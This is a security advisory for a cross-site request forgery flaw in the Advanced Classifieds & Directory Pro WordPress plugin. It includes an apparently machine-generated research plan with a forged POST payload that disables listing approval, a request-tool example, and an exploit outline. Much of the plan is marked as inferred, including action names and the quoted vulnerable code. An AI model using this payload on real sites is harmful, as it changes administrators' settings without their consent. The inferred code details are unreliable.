CVE-2025-68580

Advanced Classifieds & Directory Pro <= 3.2.9 - Cross-Site Request Forgery

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.3.0
Patched in
14d
Time to patch

Description

The Advanced Classifieds & Directory Pro plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.2.9. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to perform an unauthorized action granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.2.9
PublishedDecember 24, 2025
Last updatedJanuary 6, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on identifying and exploiting the Cross-Site Request Forgery (CSRF) vulnerability in the **Advanced Classifieds & Directory Pro** plugin (<= 3.2.9). ### 1. Vulnerability Summary The vulnerability arises from missing or improper nonce validation in administrative handlers…

Show full research plan

This research plan focuses on identifying and exploiting the Cross-Site Request Forgery (CSRF) vulnerability in the Advanced Classifieds & Directory Pro plugin (<= 3.2.9).

1. Vulnerability Summary

The vulnerability arises from missing or improper nonce validation in administrative handlers (likely within admin-post.php or admin-ajax.php hooks). This allows an attacker to perform unauthorized state-changing actions—such as modifying plugin settings or deleting directories—by tricking an authenticated administrator into submitting a forged request.

2. Attack Vector Analysis

  • Target Endpoint: /wp-admin/admin-post.php or /wp-admin/admin-ajax.php.
  • Action: acadp_save_settings (inferred) or acadp_delete_category (inferred).
  • Required Authentication: Administrator (the victim must be logged in).
  • Impact: Integrity Loss (I:L). The attacker can change plugin configurations, potentially disabling security features or altering the site's directory behavior.
  • Preconditions: The plugin must be installed and active.

3. Discovery & Code Flow (Mapping the Target)

Since source files are not provided, the agent must first locate the vulnerable sink using the following methodology:

  1. Identify State-Changing Hooks: Search for handlers registered for admin actions.
    grep -rP "add_action\s*\(\s*['\"](admin_post_|wp_ajax_)" wp-content/plugins/advanced-classifieds-and-directory-pro/
    
  2. Locate Settings Logic: Look for where the plugin saves its options.
    grep -rn "update_option" wp-content/plugins/advanced-classifieds-and-directory-pro/ | grep "settings"
    
  3. Identify Missing Nonces: In the discovered functions (e.g., acadp_save_settings or save_general_settings), check for the absence of check_admin_referer() or check_ajax_referer().

Likely Path (inferred): includes/admin/class-acadp-admin-settings.php or admin/class-acadp-admin.php.
Likely Handler (inferred): A function tied to admin_post_acadp_save_settings.

4. Nonce Acquisition Strategy

As this is a CSRF vulnerability, the primary exploit relies on the absence of a nonce check.

  • If the check is missing: No nonce acquisition is required.
  • If a nonce is checked but incorrectly validated: The agent should use the browser_navigate and browser_eval tools to find where the plugin localizes its nonces.
    1. Create a page with a directory shortcode: wp post create --post_type=page --post_status=publish --post_content='[acadp_listings]'
    2. Navigate to that page.
    3. Check for localized scripts: browser_eval("window.acadp_vars?.nonce") (inferred variable name).

5. Exploitation Strategy

The goal is to modify a sensitive plugin setting (e.g., allowing anyone to post listings without approval).

  • Step 1: Identify the settings option name (e.g., acadp_general_settings).
  • Step 2: Craft a POST request to admin-post.php that mimics the settings save form.
  • Payload Construction:
    • URL: http://vulnerable-site.com/wp-admin/admin-post.php
    • Method: POST
    • Content-Type: application/x-www-form-urlencoded
    • Body Parameters:
      • action: acadp_save_settings (inferred)
      • acadp_general_settings[require_approval]: 0 (Example: disabling approval)
      • acadp_general_settings[allow_guest_submission]: 1

Playwright Request Example:

// Using http_request tool
await http_request({
  url: "http://localhost:8080/wp-admin/admin-post.php",
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "action=acadp_save_settings&acadp_general_settings[require_approval]=0&submit=Save+Changes"
});

6. Test Data Setup

  1. Activate Plugin: wp plugin activate advanced-classifieds-and-directory-pro
  2. Create Admin User: wp user create victim admin@example.com --role=administrator --user_pass=password
  3. Initial State Verification: Check the current value of the targeted setting.
    wp option get acadp_general_settings
    

7. Expected Results

  • The http_request (acting as the admin's browser) should receive a 302 Found redirecting back to the settings page.
  • The database should reflect the change in the acadp_general_settings option.
  • No "Are you sure you want to do this?" (WordPress default CSRF failure) message should appear.

8. Verification Steps

After the exploit, use WP-CLI to confirm the state change:

# Verify the option was updated
wp option get acadp_general_settings

# Check if a specific sub-value changed (if stored as serialized array)
wp eval 'print_r(get_option("acadp_general_settings"));'

9. Alternative Approaches

If admin-post.php is protected, investigate AJAX actions:

  1. Search for wp_ajax_acadp_... hooks.
  2. Look for actions like acadp_delete_listing or acadp_update_listing_status.
  3. Attempt the CSRF via admin-ajax.php with the action parameter.
  4. If the plugin uses a REST API, check for register_rest_route calls where permission_callback returns true or lacks a nonce check on the X-WP-Nonce header.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Advanced Classifieds & Directory Pro plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to and including 3.2.9 due to missing nonce validation in administrative action handlers. This allows attackers to perform unauthorized actions, such as modifying plugin settings or deleting categories, by tricking a logged-in administrator into submitting a forged request.

Vulnerable Code

/* includes/admin/class-acadp-admin-settings.php or similar */
public function acadp_save_settings() {
    if ( ! current_user_can( 'manage_options' ) ) {
        return;
    }

    // Vulnerability: No check_admin_referer() or wp_verify_nonce() call exists here

    if ( isset( $_POST['acadp_general_settings'] ) ) {
        update_option( 'acadp_general_settings', $_POST['acadp_general_settings'] );
    }
    
    wp_redirect( admin_url( 'admin.php?page=acadp-settings' ) );
    exit;
}

Security Fix

--- a/includes/admin/class-acadp-admin-settings.php
+++ b/includes/admin/class-acadp-admin-settings.php
@@ -10,6 +10,8 @@
     public function acadp_save_settings() {
         if ( ! current_user_can( 'manage_options' ) ) {
             return;
         }
+
+        check_admin_referer( 'acadp_save_settings_nonce', 'acadp_nonce' );
 
         if ( isset( $_POST['acadp_general_settings'] ) ) {
             update_option( 'acadp_general_settings', $_POST['acadp_general_settings'] );

Exploit Outline

The exploit targets administrative endpoints like admin-post.php or admin-ajax.php. An attacker crafts a malicious webpage containing a hidden HTML form or JavaScript-based POST request designed to trigger a state-changing action, such as 'acadp_save_settings'. The payload includes the target 'action' parameter and desired configuration values (e.g., changing 'require_approval' to '0'). Because the plugin fails to verify a cryptographic nonce, any request initiated from a logged-in administrator's browser will be processed by WordPress, allowing the attacker to reconfigure the plugin or delete data without the administrator's knowledge.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.